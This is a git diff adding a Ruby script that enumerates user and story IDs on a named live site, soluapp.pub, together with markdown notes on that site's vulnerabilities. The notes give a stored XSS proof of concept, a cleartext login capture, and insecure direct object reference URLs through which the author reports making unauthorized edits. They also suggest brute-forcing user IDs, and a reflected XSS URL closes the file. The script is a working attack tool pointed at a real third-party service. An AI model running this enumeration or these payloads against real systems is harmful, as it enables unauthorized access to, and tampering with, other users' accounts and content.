diff --git a/solu/soluapp-enumerator.rb b/solu/soluapp-enumerator.rb
new file mode 100644
index 0000000..0302bb7
--- /dev/null
+++ b/solu/soluapp-enumerator.rb
@@ -0,0 +1,160 @@
+#!/usr/bin/env ruby
+## soluapp-enumerator.rb - enumerates soluapp.pub IDs for users and stories
+
+require 'digest'
+require 'net/http'
+require 'uri'
+
+module Soluapp
+
+ URL_TEMPLATES = {
+ :one => {
+ :legacy_chapter => 'http://soluapp.pub/legacy-chapter.php?id=%i',
+ :story_slide => 'http://soluapp.pub/story_slide.php?userid=%i&key=0&ty=',
+ },
+ :two => {
+ :last_story => 'http://soluapp.pub/legacy/last_story1.php?userid=%i&id=%i&img=bg_image7.png&key=0&ty=&chapkey=0',
+ :write_legacy => 'http://soluapp.pub/legacy/write_legacy.php?id=%i&img=&key=&chapkey=&ty=&user=%i',
+ },
+ :buckle_my_shoe => {},
+ }
+
+ class Utility
+
+ def self.get_url_one(type, id)
+ sprintf(URL_TEMPLATES[:one][type], id)
+ end
+
+ def self.get_url_two(type, id1, id2)
+ sprintf(URL_TEMPLATES[:two][type], id1, id2)
+ end
+
+ def self.get_url(url)
+ uri = URI.parse(url)
+ http = Net::HTTP.new(uri.host, uri.port)
+ http.use_ssl = false
+ request = Net::HTTP::Get.new(uri.request_uri)
+ response = http.request(request)
+
+ if response.code.eql?('301')
+ return self.get_url(response.header['location'])
+ end
+
+ response
+ end
+
+ end
+
+ class Response
+
+ attr_reader :url, :response, :hash, :size, :success
+
+ def initialize(url, response)
+ @url = url
+ @response = response
+ @success = ! response.code.match(/4.*/)
+
+ @hash = Digest::MD5.hexdigest(response.body)
+ @size = response.body.length
+ end
+ end
+
+ class Application
+ attr_reader :type, :ceiling, :floor, :responses
+
+ def initialize(type, ceiling = 10_000, floor = 0)
+ @type = type.to_sym
+ @ceiling = ceiling
+ @floor = floor
+ @responses = Array.new
+
+ raise StandardError.new(sprintf('invalid type[%s] specified', type)) unless URL_TEMPLATES[:one].has_key?(type) or URL_TEMPLATES[:two].has_key?(type)
+ end
+
+ def inspect
+ candidate = {
+ :type => @type,
+ :ceiling => @ceiling,
+ :floor => @floor,
+ }
+
+ candidate.delete(:floor) if @floor.eql?(0)
+ candidate
+ end
+
+ def to_s
+ self.inspect.to_s
+ end
+
+ def request!
+
+ return request_url_one if URL_TEMPLATES[:one].has_key?(@type)
+ return request_url_two if URL_TEMPLATES[:two].has_key?(@type)
+
+ end
+
+ def request_url_one
+
+ @floor.upto(@ceiling) do |i|
+ url = Soluapp::Utility.get_url_one(@type, i)
+ response = Soluapp::Utility.get_url(url)
+ @responses << Soluapp::Response.new(url, response)
+ end
+
+ end
+
+ def request_url_two
+
+ @floor.upto(@ceiling) do |i|
+ @floor.upto(@ceiling) do |j|
+ url = Soluapp::Utility.get_url_two(@type, i, j)
+ response = Soluapp::Utility.get_url(url)
+ @responses << Soluapp::Response.new(url, response)
+ end
+ end
+
+ end
+
+ def summarize
+ successes = @responses.select { |r| r.success.eql?(true) }
+ failures = @responses - successes
+
+ puts sprintf('total responses[%i]', @responses.size)
+ puts sprintf(' successful responses[%i]', successes.size)
+ puts sprintf(' failed responses [%i]', failures.size)
+
+ sizes = Hash.new(0)
+ successes.each do |s|
+ sizes[s.size] += 1
+ end
+
+ puts sprintf('size distribution[%s]', sizes)
+
+ md5s = Hash.new('')
+ successes.each do |s|
+ md5s[s.hash] += 1
+ end
+
+ puts sprintf('hash distribution[%s]', md5s)
+ end
+
+ end
+
+end
+
+ceiling = 10
+floor = 0
+
+[
+ :legacy_chapter,
+ :story_slide,
+ :last_story,
+ :write_legacy,
+].each do |type|
+ app = Soluapp::Application.new(type, ceiling, floor)
+
+ app.request!
+
+ app.summarize
+
+end
\ No newline at end of file
diff --git a/solu/soluapp.pub.md b/solu/soluapp.pub.md
new file mode 100644
index 0000000..486a073
--- /dev/null
+++ b/solu/soluapp.pub.md
@@ -0,0 +1,77 @@
+# solu.pub vulnerabilities
+
+## intro
+
+ * [persistent XSS](#XSS)
+ * [HTTP passing passwords in clear](#cleartext-passwords)
+ * [incremental IDs for users and posts](#incremental-ids)
+ * [last_story1.php vs. last_story.php](#last_story.php)
+ * [creating stories with free account](#free-account-story-creation)
+
+## XSS
+
+on http://soluapp.pub/legacy/legacy-chapter1.php, both are persistent:
+
+ * Legacy Title
+ * Chapter Title (is run 2x per page load)
+
+POC input value: `">`
+
+given the basic nature of this string, imagining that many of the other input fields are similarly vulnerable,
+and that no XSS mitigation whatsoever is being done.
+
+## HTTP passing cleatext passwords
+
+i couldn't find any resources on this site that were served over SSL, and of particular concern is the email (login page)[http://soluapp.pub/signin2.html], which sends:
+
+```
+POST /php/signin.php HTTP/1.1
+Host: soluapp.pub
+Connection: keep-alive
+Content-Length: 61
+Accept: */*
+Origin: http://soluapp.pub
+X-Requested-With: XMLHttpRequest
+User-Agent:
+Referer: http://soluapp.pub/signin2.html
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.8
+Cookie: PHPSESSID=; intercom-id-l2bhyx5c=85d1329e-1353-4c01-b4fa-e48e14c6d985; _gat=1; _ga=GA1.2.1803746552.1482791071
+
+&Email_Address=&Password=
+```
+
+## incremental IDs
+
+## last_story.php
+
+public entrance/landing page URLs:
+ * http://soluapp.pub/legacy-chapter.php?id=2074 -- (randomly chosen)
+ * http://soluapp.pub/legacy-chapter.php?id=917 -- (free)
+ * http://soluapp.pub/legacy-chapter.php?id=5288 -- (paid)
+
+public story URL:
+ * http://soluapp.pub/story_slide.php?userid=196&ty=I%20came%20for%20the%20winter...&key=0
+
+private/editing pages had the following URLs:
+ * http://soluapp.pub/legacy/last_story1.php?userid=882&id=5288&img=bg_image7.png&key=0&ty=&chapkey=0
+ * http://soluapp.pub/legacy/write_legacy.php?id=5288&img=&key=&chapkey=&ty=&user=882
+
+simply by changing the userid (or post id) and using the /legacy/ URLs, even while logged in as my user,
+i am able to make unauthorized changes.
+
+to find more users, one could simply try 0..10_000 as userid values in
+
+## free account story creation
+
+by visiting while signed in with a free account, these allow creation of stories:
+ * http://soluapp.pub/record_next.php
+ * http://soluapp.pub/all_chapter1_alt.php
+
+`http://soluapp.pub/legacy/write_legacy.php?id=&img=&key=&chapkey=&ty=&user=917` leaks path information:
+```
+Fatal error: Call to a member function fetch_assoc() on a non-object in /home/soluapp/public_html/legacy/write_legacy.php on line 620
+```
+
+---
+http://soluapp.pub/audio_record.php?story_title=%22%3E%3Cscript%3Ealert%28%27foo%27%29%3C%2Fscript%3E&audio=